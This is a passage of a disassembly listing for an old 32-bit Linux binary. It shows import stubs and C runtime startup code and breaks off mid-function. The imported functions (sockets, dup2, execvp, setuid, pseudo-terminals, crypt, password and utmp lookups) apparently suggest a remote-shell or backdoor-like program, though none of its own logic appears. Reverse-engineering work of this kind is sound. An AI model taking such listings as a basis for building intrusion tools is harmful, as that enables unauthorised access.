0804a0e2  68 78 02 00 00        push   $0x278  ;632 'x78 x2 x0 x0' "x"
0804a0e7  e9 f0 fa ff ff        jmp    08049bdc <__gmon_start__>  ;-1296 'xf0 xfa xff xff' ""

0804a0ec <__lxstat>:
0804a0ec  ff 25 40 9a 07 08     jmp    *0x8079a40  ;[in .got] 134521074 'xf2 xa0 x4 x8' ""
0804a0f2  68 80 02 00 00        push   $0x280  ;640 'x80 x2 x0 x0' ""
0804a0f7  e9 e0 fa ff ff        jmp    08049bdc <__gmon_start__>  ;-1312 'xe0 xfa xff xff' ""

0804a0fc <__strtol_internal>:
0804a0fc  ff 25 44 9a 07 08     jmp    *0x8079a44  ;[in .got] 134521090 'x2 xa1 x4 x8' ""
0804a102  68 88 02 00 00        push   $0x288  ;648 'x88 x2 x0 x0' ""
0804a107  e9 d0 fa ff ff        jmp    08049bdc <__gmon_start__>  ;-1328 'xd0 xfa xff xff' ""

0804a10c <execvp>:
0804a10c  ff 25 48 9a 07 08     jmp    *0x8079a48  ;[in .got] 134521106 'x12 xa1 x4 x8' ""
0804a112  68 90 02 00 00        push   $0x290  ;656 'x90 x2 x0 x0' ""
0804a117  e9 c0 fa ff ff        jmp    08049bdc <__gmon_start__>  ;-1344 'xc0 xfa xff xff' ""

0804a11c <strncmp>:
0804a11c  ff 25 4c 9a 07 08     jmp    *0x8079a4c  ;[in .got] 134521122 'x22 xa1 x4 x8' """
0804a122  68 98 02 00 00        push   $0x298  ;664 'x98 x2 x0 x0' ""
0804a127  e9 b0 fa ff ff        jmp    08049bdc <__gmon_start__>  ;-1360 'xb0 xfa xff xff' ""

0804a12c <openlog>:
0804a12c  ff 25 50 9a 07 08     jmp    *0x8079a50  ;[in .got] 134521138 'x32 xa1 x4 x8' "2"
0804a132  68 a0 02 00 00        push   $0x2a0  ;672 'xa0 x2 x0 x0' ""
0804a137  e9 a0 fa ff ff        jmp    08049bdc <__gmon_start__>  ;-1376 'xa0 xfa xff xff' ""

0804a13c <fputc>:
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0804a13c  ff 25 54 9a 07 08    jmp    *0x8079a54  ;[in .got] 134521154 'x42 xa1 x4 x8' "B"
0804a142  68 a8 02 00 00       push   $0x2a8  ;680 'xa8 x2 x0 x0' ""
0804a147  e9 90 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1392 'x90 xfa xff xff' ""

0804a14c <inet_addr>:
0804a14c  ff 25 58 9a 07 08    jmp    *0x8079a58  ;[in .got] 134521170 'x52 xa1 x4 x8' "R"
0804a152  68 b0 02 00 00       push   $0x2b0  ;688 'xb0 x2 x0 x0' ""
0804a157  e9 80 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1408 'x80 xfa xff xff' ""

0804a15c <setpgid>:
0804a15c  ff 25 5c 9a 07 08    jmp    *0x8079a5c  ;[in .got] 134521186 'x62 xa1 x4 x8' "b"
0804a162  68 b8 02 00 00       push   $0x2b8  ;696 'xb8 x2 x0 x0' ""
0804a167  e9 70 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1424 'x70 xfa xff xff' "p"

0804a16c <__libc_start_main>:
0804a16c  ff 25 60 9a 07 08    jmp    *0x8079a60  ;[in .got] 134521202 'x72 xa1 x4 x8' "r"
0804a172  68 c0 02 00 00       push   $0x2c0  ;704 'xc0 x2 x0 x0' ""
0804a177  e9 60 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1440 'x60 xfa xff xff' "`"

0804a17c <setutxent>:
0804a17c  ff 25 64 9a 07 08    jmp    *0x8079a64  ;[in .got] 134521218 'x82 xa1 x4 x8' ""
0804a182  68 c8 02 00 00       push   $0x2c8  ;712 'xc8 x2 x0 x0' ""
0804a187  e9 50 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1456 'x50 xfa xff xff' "P"

0804a18c <dup2>:
0804a18c  ff 25 68 9a 07 08    jmp    *0x8079a68  ;[in .got] 134521234 'x92 xa1 x4 x8' ""
0804a192  68 d0 02 00 00       push   $0x2d0  ;720 'xd0 x2 x0 x0' ""
0804a197  e9 40 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1472 'x40 xfa xff xff' "@"

0804a19c <realloc>:
0804a19c  ff 25 6c 9a 07 08    jmp    *0x8079a6c  ;[in .got] 134521250 'xa2 xa1 x4 x8' ""
0804a1a2  68 d8 02 00 00       push   $0x2d8  ;728 'xd8 x2 x0 x0' ""
0804a1a7  e9 30 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1488 'x30 xfa xff xff' "0"

0804a1ac <strcat>:
0804a1ac  ff 25 70 9a 07 08    jmp    *0x8079a70  ;[in .got] 134521266 'xb2 xa1 x4 x8' ""
0804a1b2  68 e0 02 00 00       push   $0x2e0  ;736 'xe0 x2 x0 x0' ""
0804a1b7  e9 20 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1504 'x20 xfa xff xff' " "

0804a1bc <getutxent>:
0804a1bc  ff 25 74 9a 07 08    jmp    *0x8079a74  ;[in .got] 134521282 'xc2 xa1 x4 x8' ""
0804a1c2  68 e8 02 00 00       push   $0x2e8  ;744 'xe8 x2 x0 x0' ""
0804a1c7  e9 10 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1520 'x10 xfa xff xff' ""

0804a1cc <innetgr>:
0804a1cc  ff 25 78 9a 07 08    jmp    *0x8079a78  ;[in .got] 134521298 'xd2 xa1 x4 x8' ""
0804a1d2  68 f0 02 00 00       push   $0x2f0  ;752 'xf0 x2 x0 x0' ""
0804a1d7  e9 00 fa ff ff       jmp    08049bdc <__gmon_start__>  ;-1536 'x0 xfa xff xff' ""

0804a1dc <closelog>:
0804a1dc  ff 25 7c 9a 07 08    jmp    *0x8079a7c  ;[in .got] 134521314 'xe2 xa1 x4 x8' ""
0804a1e2  68 f8 02 00 00       push   $0x2f8  ;760 'xf8 x2 x0 x0' ""
0804a1e7  e9 f0 f9 ff ff       jmp    08049bdc <__gmon_start__>  ;-1552 'xf0 xf9 xff xff' ""

0804a1ec <printf>:
0804a1ec  ff 25 80 9a 07 08    jmp    *0x8079a80  ;[in .got] 134521330 'xf2 xa1 x4 x8' ""
0804a1f2  68 00 03 00 00       push   $0x300  ;768 'x0 x3 x0 x0' ""
0804a1f7  e9 e0 f9 ff ff       jmp    08049bdc <__gmon_start__>  ;-1568 'xe0 xf9 xff xff' ""

0804a1fc <bind>:
0804a1fc  ff 25 84 9a 07 08    jmp    *0x8079a84  ;[in .got] 134521346 'x2 xa2 x4 x8' ""
0804a202  68 08 03 00 00       push   $0x308  ;776 'x8 x3 x0 x0' ""
0804a207  e9 d0 f9 ff ff       jmp    08049bdc <__gmon_start__>  ;-1584 'xd0 xf9 xff xff' ""

0804a20c <getuid>:
0804a20c  ff 25 88 9a 07 08    jmp    *0x8079a88  ;[in .got] 134521362 'x12 xa2 x4 x8' ""
0804a212  68 10 03 00 00       push   $0x310  ;784 'x10 x3 x0 x0' ""
0804a217  e9 c0 f9 ff ff       jmp    08049bdc <__gmon_start__>  ;-1600 'xc0 xf9 xff xff' ""

0804a21c <lseek>:
0804a21c  ff 25 8c 9a 07 08    jmp    *0x8079a8c  ;[in .got] 134521378 'x22 xa2 x4 x8' """
0804a222  68 18 03 00 00       push   $0x318  ;792 'x18 x3 x0 x0' ""
0804a227  e9 b0 f9 ff ff       jmp    08049bdc <__gmon_start__>  ;-1616 'xb0 xf9 xff xff' ""

0804a22c <fcntl>:
0804a22c  ff 25 90 9a 07 08    jmp    *0x8079a90  ;[in .got] 134521394 'x32 xa2 x4 x8' "2"
0804a232  68 20 03 00 00       push   $0x320  ;800 'x20 x3 x0 x0' " "
0804a237  e9 a0 f9 ff ff       jmp    08049bdc <__gmon_start__>  ;-1632 'xa0 xf9 xff xff' ""

0804a23c <memcpy>:
0804a23c  ff 25 94 9a 07 08    jmp    *0x8079a94  ;[in .got] 134521410 'x42 xa2 x4 x8' "B"
0804a242  68 28 03 00 00       push   $0x328  ;808 'x28 x3 x0 x0' "("
0804a247  e9 90 f9 ff ff       jmp    08049bdc <__gmon_start__>  ;-1648 'x90 xf9 xff xff' ""
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0804a24c <fclose>:
0804a24c  ff 25 98 9a 07 08      jmp     *0x8079a98  ;[in .got] 134521426 'x52 xa2 x4 x8' "R"
0804a252  68 30 03 00 00         push    $0x330  ;816 'x30 x3 x0 x0' "0"
0804a257  e9 80 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1664 'x80 xf9 xff xff' ""

0804a25c <strrchr>:
0804a25c  ff 25 9c 9a 07 08      jmp     *0x8079a9c  ;[in .got] 134521442 'x62 xa2 x4 x8' "b"
0804a262  68 38 03 00 00         push    $0x338  ;824 'x38 x3 x0 x0' "8"
0804a267  e9 70 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1680 'x70 xf9 xff xff' "p"

0804a26c <times>:
0804a26c  ff 25 a0 9a 07 08      jmp     *0x8079aa0  ;[in .got] 134521458 'x72 xa2 x4 x8' "r"
0804a272  68 40 03 00 00         push    $0x340  ;832 'x40 x3 x0 x0' "@"
0804a277  e9 60 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1696 'x60 xf9 xff xff' "`"

0804a27c <ctime>:
0804a27c  ff 25 a4 9a 07 08      jmp     *0x8079aa4  ;[in .got] 134521474 'x82 xa2 x4 x8' ""
0804a282  68 48 03 00 00         push    $0x348  ;840 'x48 x3 x0 x0' "H"
0804a287  e9 50 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1712 'x50 xf9 xff xff' "P"

0804a28c <endspent>:
0804a28c  ff 25 a8 9a 07 08      jmp     *0x8079aa8  ;[in .got] 134521490 'x92 xa2 x4 x8' ""
0804a292  68 50 03 00 00         push    $0x350  ;848 'x50 x3 x0 x0' "P"
0804a297  e9 40 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1728 'x40 xf9 xff xff' "@"

0804a29c <rmdir>:
0804a29c  ff 25 ac 9a 07 08      jmp     *0x8079aac  ;[in .got] 134521506 'xa2 xa2 x4 x8' ""
0804a2a2  68 58 03 00 00         push    $0x358  ;856 'x58 x3 x0 x0' "X"
0804a2a7  e9 30 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1744 'x30 xf9 xff xff' "0"

0804a2ac <getgid>:
0804a2ac  ff 25 b0 9a 07 08      jmp     *0x8079ab0  ;[in .got] 134521522 'xb2 xa2 x4 x8' ""
0804a2b2  68 60 03 00 00         push    $0x360  ;864 'x60 x3 x0 x0' "`"
0804a2b7  e9 20 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1760 'x20 xf9 xff xff' " "

0804a2bc <gettimeofday>:
0804a2bc  ff 25 b4 9a 07 08      jmp     *0x8079ab4  ;[in .got] 134521538 'xc2 xa2 x4 x8' ""
0804a2c2  68 68 03 00 00         push    $0x368  ;872 'x68 x3 x0 x0' "h"
0804a2c7  e9 10 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1776 'x10 xf9 xff xff' ""

0804a2cc <__cxa_finalize>:
0804a2cc  ff 25 b8 9a 07 08      jmp     *0x8079ab8  ;[in .got] 134521554 'xd2 xa2 x4 x8' ""
0804a2d2  68 70 03 00 00         push    $0x370  ;880 'x70 x3 x0 x0' "p"
0804a2d7  e9 00 f9 ff ff         jmp     08049bdc <__gmon_start__>  ;-1792 'x0 xf9 xff xff' ""

0804a2dc <snprintf>:
0804a2dc  ff 25 bc 9a 07 08      jmp     *0x8079abc  ;[in .got] 134521570 'xe2 xa2 x4 x8' ""
0804a2e2  68 78 03 00 00         push    $0x378  ;888 'x78 x3 x0 x0' "x"
0804a2e7  e9 f0 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1808 'xf0 xf8 xff xff' "`"

0804a2ec <gethostname>:
0804a2ec  ff 25 c0 9a 07 08      jmp     *0x8079ac0  ;[in .got] 134521586 'xf2 xa2 x4 x8' ""
0804a2f2  68 80 03 00 00         push    $0x380  ;896 'x80 x3 x0 x0' ""
0804a2f7  e9 e0 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1824 'xe0 xf8 xff xff' ""

0804a2fc <open>:
0804a2fc  ff 25 c4 9a 07 08      jmp     *0x8079ac4  ;[in .got] 134521602 'x2 xa3 x4 x8' ""
0804a302  68 88 03 00 00         push    $0x388  ;904 'x88 x3 x0 x0' ""
0804a307  e9 d0 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1840 'xd0 xf8 xff xff' ""

0804a30c <endpwent>:
0804a30c  ff 25 c8 9a 07 08      jmp     *0x8079ac8  ;[in .got] 134521618 'x12 xa3 x4 x8' ""
0804a312  68 90 03 00 00         push    $0x390  ;912 'x90 x3 x0 x0' ""
0804a317  e9 c0 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1856 'xc0 xf8 xff xff' ""

0804a31c <gethostbyname>:
0804a31c  ff 25 cc 9a 07 08      jmp     *0x8079acc  ;[in .got] 134521634 'x22 xa3 x4 x8' """
0804a322  68 98 03 00 00         push    $0x398  ;920 'x98 x3 x0 x0' ""
0804a327  e9 b0 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1872 'xb0 xf8 xff xff' ""

0804a32c <strspn>:
0804a32c  ff 25 d0 9a 07 08      jmp     *0x8079ad0  ;[in .got] 134521650 'x32 xa3 x4 x8' "2"
0804a332  68 a0 03 00 00         push    $0x3a0  ;928 'xa0 x3 x0 x0' ""
0804a337  e9 a0 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1888 'xa0 xf8 xff xff' ""

0804a33c <getpwnam>:
0804a33c  ff 25 d4 9a 07 08      jmp     *0x8079ad4  ;[in .got] 134521666 'x42 xa3 x4 x8' "B"
0804a342  68 a8 03 00 00         push    $0x3a8  ;936 'xa8 x3 x0 x0' ""
0804a347  e9 90 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1904 'x90 xf8 xff xff' ""

0804a34c <exit>:
0804a34c  ff 25 d8 9a 07 08      jmp     *0x8079ad8  ;[in .got] 134521682 'x52 xa3 x4 x8' "R"
0804a352  68 b0 03 00 00         push    $0x3b0  ;944 'xb0 x3 x0 x0' ""
0804a357  e9 80 f8 ff ff         jmp     08049bdc <__gmon_start__>  ;-1920 'x80 xf8 xff xff' ""
```

```
0804a35c <calloc>:
0804a35c   ff 25 dc 9a 07 08      jmp    *0x8079adc  ;[in .got] 134521698 'x62 xa3 x4 x8' "b"
0804a362   68 b8 03 00 00         push   $0x3b8  ;952 'xb8 x3 x0 x0' ""
0804a367   e9 70 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-1936 'x70 xf8 xff xff' "p"

0804a36c <sscanf>:
0804a36c   ff 25 e0 9a 07 08      jmp    *0x8079ae0  ;[in .got] 134521714 'x72 xa3 x4 x8' "r"
0804a372   68 c0 03 00 00         push   $0x3c0  ;960 'xc0 x3 x0 x0' ""
0804a377   e9 60 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-1952 'x60 xf8 xff xff' "`"

0804a37c <cfsetispeed>:
0804a37c   ff 25 e4 9a 07 08      jmp    *0x8079ae4  ;[in .got] 134521730 'x82 xa3 x4 x8' ""
0804a382   68 c8 03 00 00         push   $0x3c8  ;968 'xc8 x3 x0 x0' ""
0804a387   e9 50 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-1968 'x50 xf8 xff xff' "P"

0804a38c <free>:
0804a38c   ff 25 e8 9a 07 08      jmp    *0x8079ae8  ;[in .got] 134521746 'x92 xa3 x4 x8' ""
0804a392   68 d0 03 00 00         push   $0x3d0  ;976 'xd0 x3 x0 x0' ""
0804a397   e9 40 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-1984 'x40 xf8 xff xff' "@"

0804a39c <ioctl>:
0804a39c   ff 25 ec 9a 07 08      jmp    *0x8079aec  ;[in .got] 134521762 'xa2 xa3 x4 x8' ""
0804a3a2   68 d8 03 00 00         push   $0x3d8  ;984 'xd8 x3 x0 x0' ""
0804a3a7   e9 30 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-2000 'x30 xf8 xff xff' "0"

0804a3ac <memset>:
0804a3ac   ff 25 f0 9a 07 08      jmp    *0x8079af0  ;[in .got] 134521778 'xb2 xa3 x4 x8' ""
0804a3b2   68 e0 03 00 00         push   $0x3e0  ;992 'xe0 x3 x0 x0' ""
0804a3b7   e9 20 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-2016 'x20 xf8 xff xff' " "

0804a3bc <connect>:
0804a3bc   ff 25 f4 9a 07 08      jmp    *0x8079af4  ;[in .got] 134521794 'xc2 xa3 x4 x8' ""
0804a3c2   68 e8 03 00 00         push   $0x3e8  ;1000 'xe8 x3 x0 x0' ""
0804a3c7   e9 10 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-2032 'x10 xf8 xff xff' ""

0804a3cc <strncpy>:
0804a3cc   ff 25 f8 9a 07 08      jmp    *0x8079af8  ;[in .got] 134521810 'xd2 xa3 x4 x8' ""
0804a3d2   68 f0 03 00 00         push   $0x3f0  ;1008 'xf0 x3 x0 x0' ""
0804a3d7   e9 00 f8 ff ff         jmp    08049bdc <__gmon_start__>  ;-2048 'x0 xf8 xff xff' ""

0804a3dc <fopen>:
0804a3dc   ff 25 fc 9a 07 08      jmp    *0x8079afc  ;[in .got] 134521826 'xe2 xa3 x4 x8' ""
0804a3e2   68 f8 03 00 00         push   $0x3f8  ;1016 'xf8 x3 x0 x0' ""
0804a3e7   e9 f0 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2064 'xf0 xf7 xff xff' ""

0804a3ec <dup>:
0804a3ec   ff 25 00 9b 07 08      jmp    *0x8079b00  ;[in .got] 134521842 'xf2 xa3 x4 x8' ""
0804a3f2   68 00 04 00 00         push   $0x400  ;1024 'x0 x4 x0 x0' ""
0804a3f7   e9 e0 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2080 'xe0 xf7 xff xff' ""

0804a3fc <crypt>:
0804a3fc   ff 25 04 9b 07 08      jmp    *0x8079b04  ;[in .got] 134521858 'x2 xa4 x4 x8' ""
0804a402   68 08 04 00 00         push   $0x408  ;1032 'x8 x4 x0 x0' ""
0804a407   e9 d0 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2096 'xd0 xf7 xff xff' ""

0804a40c <strtok>:
0804a40c   ff 25 08 9b 07 08      jmp    *0x8079b08  ;[in .got] 134521874 'x12 xa4 x4 x8' ""
0804a412   68 10 04 00 00         push   $0x410  ;1040 'x10 x4 x0 x0' ""
0804a417   e9 c0 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2112 'xc0 xf7 xff xff' ""

0804a41c <endgrent>:
0804a41c   ff 25 0c 9b 07 08      jmp    *0x8079b0c  ;[in .got] 134521890 'x22 xa4 x4 x8' """
0804a422   68 18 04 00 00         push   $0x418  ;1048 'x18 x4 x0 x0' ""
0804a427   e9 b0 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2128 'xb0 xf7 xff xff' ""

0804a42c <kill>:
0804a42c   ff 25 10 9b 07 08      jmp    *0x8079b10  ;[in .got] 134521906 'x32 xa4 x4 x8' "2"
0804a432   68 20 04 00 00         push   $0x420  ;1056 'x20 x4 x0 x0' " "
0804a437   e9 a0 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2144 'xa0 xf7 xff xff' ""

0804a43c <getpt>:
0804a43c   ff 25 14 9b 07 08      jmp    *0x8079b14  ;[in .got] 134521922 'x42 xa4 x4 x8' "B"
0804a442   68 28 04 00 00         push   $0x428  ;1064 'x28 x4 x0 x0' "("
0804a447   e9 90 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2160 'x90 xf7 xff xff' ""

0804a44c <sprintf>:
0804a44c   ff 25 18 9b 07 08      jmp    *0x8079b18  ;[in .got] 134521938 'x52 xa4 x4 x8' "R"
0804a452   68 30 04 00 00         push   $0x430  ;1072 'x30 x4 x0 x0' "0"
0804a457   e9 80 f7 ff ff         jmp    08049bdc <__gmon_start__>  ;-2176 'x80 xf7 xff xff' ""

0804a45c <fwrite>:
0804a45c   ff 25 1c 9b 07 08      jmp    *0x8079b1c  ;[in .got] 134521954 'x62 xa4 x4 x8' "b"
0804a462   68 38 04 00 00         push   $0x438  ;1080 'x38 x4 x0 x0' "8"
```

```
0804a467  e9 70 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2192 'x70 xf7 xff xff' "p"

0804a46c <socket>:
0804a46c  ff 25 20 9b 07 08     jmp    *0x8079b20  ;[in .got] 134521970 'x72 xa4 x4 x8' "r"
0804a472  68 40 04 00 00        push   $0x440  ;1088 'x40 x4 x0 x0' "@"
0804a477  e9 60 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2208 'x60 xf7 xff xff' "`"

0804a47c <setuid>:
0804a47c  ff 25 24 9b 07 08     jmp    *0x8079b24  ;[in .got] 134521986 'x82 xa4 x4 x8' ""
0804a482  68 48 04 00 00        push   $0x448  ;1096 'x48 x4 x0 x0' "H"
0804a487  e9 50 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2224 'x50 xf7 xff xff' "P"

0804a48c <unlockpt>:
0804a48c  ff 25 28 9b 07 08     jmp    *0x8079b28  ;[in .got] 134522002 'x92 xa4 x4 x8' ""
0804a492  68 50 04 00 00        push   $0x450  ;1104 'x50 x4 x0 x0' "P"
0804a497  e9 40 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2240 'x40 xf7 xff xff' "@"

0804a49c <tcgetattr>:
0804a49c  ff 25 2c 9b 07 08     jmp    *0x8079b2c  ;[in .got] 134522018 'xa2 xa4 x4 x8' ""
0804a4a2  68 58 04 00 00        push   $0x458  ;1112 'x58 x4 x0 x0' "X"
0804a4a7  e9 30 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2256 'x30 xf7 xff xff' "0"

0804a4ac <read>:
0804a4ac  ff 25 30 9b 07 08     jmp    *0x8079b30  ;[in .got] 134522034 'xb2 xa4 x4 x8' ""
0804a4b2  68 60 04 00 00        push   $0x460  ;1120 'x60 x4 x0 x0' "`"
0804a4b7  e9 20 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2272 'x20 xf7 xff xff' " "

0804a4bc <alarm>:
0804a4bc  ff 25 34 9b 07 08     jmp    *0x8079b34  ;[in .got] 134522050 'xc2 xa4 x4 x8' ""
0804a4c2  68 68 04 00 00        push   $0x468  ;1128 'x68 x4 x0 x0' "h"
0804a4c7  e9 10 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2288 'x10 xf7 xff xff' ""

0804a4cc <geteuid>:
0804a4cc  ff 25 38 9b 07 08     jmp    *0x8079b38  ;[in .got] 134522066 'xd2 xa4 x4 x8' ""
0804a4d2  68 70 04 00 00        push   $0x470  ;1136 'x70 x4 x0 x0' "p"
0804a4d7  e9 00 f7 ff ff        jmp    08049bdc <__gmon_start__>  ;-2304 'x0 xf7 xff xff' ""

0804a4dc <wait>:
0804a4dc  ff 25 3c 9b 07 08     jmp    *0x8079b3c  ;[in .got] 134522082 'xe2 xa4 x4 x8' ""
0804a4e2  68 78 04 00 00        push   $0x478  ;1144 'x78 x4 x0 x0' "x"
0804a4e7  e9 f0 f6 ff ff        jmp    08049bdc <__gmon_start__>  ;-2320 'xf0 xf6 xff xff' ""

0804a4ec <strcpy>:
0804a4ec  ff 25 40 9b 07 08     jmp    *0x8079b40  ;[in .got] 134522098 'xf2 xa4 x4 x8' ""
0804a4f2  68 80 04 00 00        push   $0x480  ;1152 'x80 x4 x0 x0' ""
0804a4f7  e9 e0 f6 ff ff        jmp    08049bdc <__gmon_start__>  ;-2336 'xe0 xf6 xff xff' ""

0804a500 <error>:
0804a500  31 ed                 xor    %ebp,%ebp
0804a502  5e                    pop    %esi
0804a503  89 e1                 mov    %esp,%ecx
0804a505  83 e4 f0              and    $0xfffffff0,%esp
0804a508  50                    push   %eax
0804a509  54                    push   %esp
0804a50a  52                    push   %edx
0804a50b  68 c0 b5 06 08        push   $0x806b5c0  ;[in .fini] 1407551829 'x55 x89 xe5 x53' "U"
0804a510  68 c4 9b 04 08        push   $0x8049bc4  ;[in .init] -2082109099 'x55 x89 xe5 x83' "U"
0804a515  51                    push   %ecx
0804a516  56                    push   %esi
0804a517  68 9c a7 04 08        push   $0x804a79c  ;[in .init] -2082109099 'x55 x89 xe5 x83' "U"
0804a51c  e8 4b fc ff ff        call   0804a16c <__libc_start_main>
0804a521  f4                    hlt
0804a522  89 f6                 mov    %esi,%esi
0804a524  55                    push   %ebp
0804a525  89 e5                 mov    %esp,%ebp
0804a527  53                    push   %ebx
0804a528  50                    push   %eax
0804a529  e8 00 00 00 00        call   0804a52e <Unknown0001>


  ;
  ; >---------------------<  Subroutine #   1 >---------------------<
  ;
0804a52e <Unknown0001>:
0804a52e  5b                    pop    %ebx
0804a52f  81 c3 c6 f3 02 00     add    $0x2f3c6,%ebx  ;193478 'xc6 xf3 x2 x0' ""
0804a535  8b 83 50 02 00 00     mov    0x250(%ebx),%eax  ;592 'x50 x2 x0 x0' "P"
0804a53b  85 c0                 test   %eax,%eax
0804a53d  74 02                 je     0804a541 <Unknown0001+0x13>
0804a53f  ff d0                 call   *%eax
0804a541  8b 5d fc              mov    0xfffffffc(%ebp),%ebx
0804a544  c9                    leave
0804a545  c3                    ret
0804a546  89 f6                 mov    %esi,%esi
```

```
0804a548   90                           nop
0804a549   90                           nop
0804a54a   90                           nop
0804a54b   90                           nop
0804a54c   90                           nop
0804a54d   90                           nop
0804a54e   90                           nop
0804a54f   90                           nop
0804a550   55                           push   %ebp
0804a551   8b 15 8c 7b 07 08            mov    0x8077b8c,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804a557   89 e5                        mov    %esp,%ebp
0804a559   83 ec 08                     sub    $0x8,%esp
0804a55c   85 d2                        test   %edx,%edx
0804a55e   75 49                        jne    0804a5a9 <Unknown0001+0x7b>
0804a560   8b 15 88 7b 07 08            mov    0x8077b88,%edx   ;[in .data] 134715632 'xf0 x98 x7 x8' ""
0804a566   8b 02                        mov    (%edx),%eax
0804a568   85 c0                        test   %eax,%eax
0804a56a   74 1a                        je     0804a586 <Unknown0001+0x58>
0804a56c   8d 74 26 00                  lea    0x0(%esi,1),%esi
0804a570   8d 42 04                     lea    0x4(%edx),%eax
0804a573   a3 88 7b 07 08               mov    %eax,0x8077b88   ;[in .data] 134715632 'xf0 x98 x7 x8' ""
0804a578   ff 12                        call   *(%edx)
0804a57a   8b 15 88 7b 07 08            mov    0x8077b88,%edx   ;[in .data] 134715632 'xf0 x98 x7 x8' ""
0804a580   8b 0a                        mov    (%edx),%ecx
0804a582   85 c9                        test   %ecx,%ecx
0804a584   75 ea                        jne    0804a570 <Unknown0001+0x42>
0804a586   b8 8c 9f 04 08               mov    $0x8049f8c,%eax   ;[in .plt] -1712839169 'xff x25 xe8 x99' ""
0804a58b   85 c0                        test   %eax,%eax
0804a58d   74 10                        je     0804a59f <Unknown0001+0x71>
0804a58f   83 ec 0c                     sub    $0xc,%esp
0804a592   68 e0 98 07 08               push   $0x80798e0   ;[in .eh_frame] 0 'x0 x0 x0 x0' ""
0804a597   e8 f0 f9 ff ff               call   08049f8c <__deregister_frame_info>
0804a59c   83 c4 10                     add    $0x10,%esp
0804a59f   b8 01 00 00 00               mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0804a5a4   a3 8c 7b 07 08               mov    %eax,0x8077b8c   ;[in .data] 0 'x0 x0 x0 x0' ""
0804a5a9   89 ec                        mov    %ebp,%esp
0804a5ab   5d                           pop    %ebp
0804a5ac   c3                           ret
0804a5ad   8d 76 00                     lea    0x0(%esi),%esi

   ;
   ; >---------------------< Subroutine #  2 >---------------------<
   ;
0804a5b0   55                           push   %ebp
0804a5b1   89 e5                        mov    %esp,%ebp
0804a5b3   83 ec 08                     sub    $0x8,%esp
0804a5b6   89 ec                        mov    %ebp,%esp
0804a5b8   5d                           pop    %ebp
0804a5b9   c3                           ret
0804a5ba   8d b6 00 00 00 00            lea    0x0(%esi),%esi   ;0 'x0 x0 x0 x0' ""
0804a5c0   55                           push   %ebp
0804a5c1   89 e5                        mov    %esp,%ebp
0804a5c3   b8 9c 9c 04 08               mov    $0x8049c9c,%eax   ;[in .plt] -1725159937 'xff x25 x2c x99' ""
0804a5c8   83 ec 08                     sub    $0x8,%esp
0804a5cb   85 c0                        test   %eax,%eax
0804a5cd   74 15                        je     0804a5e4 <Unknown0001+0xb6>
0804a5cf   83 ec 08                     sub    $0x8,%esp
0804a5d2   68 20 9c 07 08               push   $0x8079c20   ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at Linux 7.1
                                                             2.96-79)"
0804a5d7   68 e0 98 07 08               push   $0x80798e0   ;[in .eh_frame] 0 'x0 x0 x0 x0' ""
0804a5dc   e8 bb f6 ff ff               call   08049c9c <__register_frame_info>
0804a5e1   83 c4 10                     add    $0x10,%esp
0804a5e4   89 ec                        mov    %ebp,%esp
0804a5e6   5d                           pop    %ebp
0804a5e7   c3                           ret
0804a5e8   90                           nop
0804a5e9   8d b4 26 00 00 00 00         lea    0x0(%esi,1),%esi   ;0 'x0 x0 x0 x0' ""
0804a5f0   55                           push   %ebp
0804a5f1   89 e5                        mov    %esp,%ebp
0804a5f3   83 ec 08                     sub    $0x8,%esp
0804a5f6   89 ec                        mov    %ebp,%esp
0804a5f8   5d                           pop    %ebp
0804a5f9   c3                           ret
0804a5fa   8d b6 00 00 00 00            lea    0x0(%esi),%esi   ;0 'x0 x0 x0 x0' ""
0804a600   55                           push   %ebp
0804a601   89 e5                        mov    %esp,%ebp
0804a603   83 ec 10                     sub    $0x10,%esp
0804a606   68 00 a6 04 08               push   $0x804a600   ;0 'x0 x0 x0 x0' ""
0804a60b   6a 01                        push   $0x1
